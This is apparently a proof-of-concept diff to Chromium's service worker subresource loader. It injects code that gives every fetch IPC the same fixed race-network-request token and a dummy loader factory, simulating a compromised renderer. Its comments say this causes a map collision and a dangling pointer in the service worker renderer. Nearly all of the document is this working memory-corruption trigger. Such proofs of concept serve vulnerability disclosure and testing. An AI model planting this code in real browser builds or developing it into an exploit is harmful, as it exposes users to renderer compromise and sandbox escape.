diff --git a/content/renderer/service_worker/service_worker_subresource_loader.cc b/content/renderer/service_worker/service_worker_subresource_loader.cc index f239cddda4231..b0e962205ab24 100644 --- a/content/renderer/service_worker/service_worker_subresource_loader.cc +++ b/content/renderer/service_worker/service_worker_subresource_loader.cc @@ -535,6 +535,20 @@ void ServiceWorkerSubresourceLoader::DispatchFetchEventForSubresource() { params->request->service_worker_race_network_request_token = base::UnguessableToken::Create(); } + // --- POC INJECTION (compromised-renderer simulation) ----------------------- + // A compromised client renderer crafts DispatchFetchEventForSubresource IPCs + // carrying a *fixed* race_network_request token plus a (dummy but valid) + // race_network_request_loader_factory. Two such IPCs collide in the SW + // renderer's race_network_requests_ map, leaving a dangling pointer in + // race_network_request_fetch_event_ids_. + { + static const base::UnguessableToken kFixed = base::UnguessableToken::Create(); + mojo::PendingRemote dummy; + std::ignore = dummy.InitWithNewPipeAndPassReceiver(); + params->race_network_request_loader_factory = std::move(dummy); + params->request->service_worker_race_network_request_token = kFixed; + } + // --------------------------------------------------------------------------- // TODO(falken): Grant the controller service worker's process access to files // in the body, like ServiceWorkerFetchDispatcher::DispatchFetchEvent() does.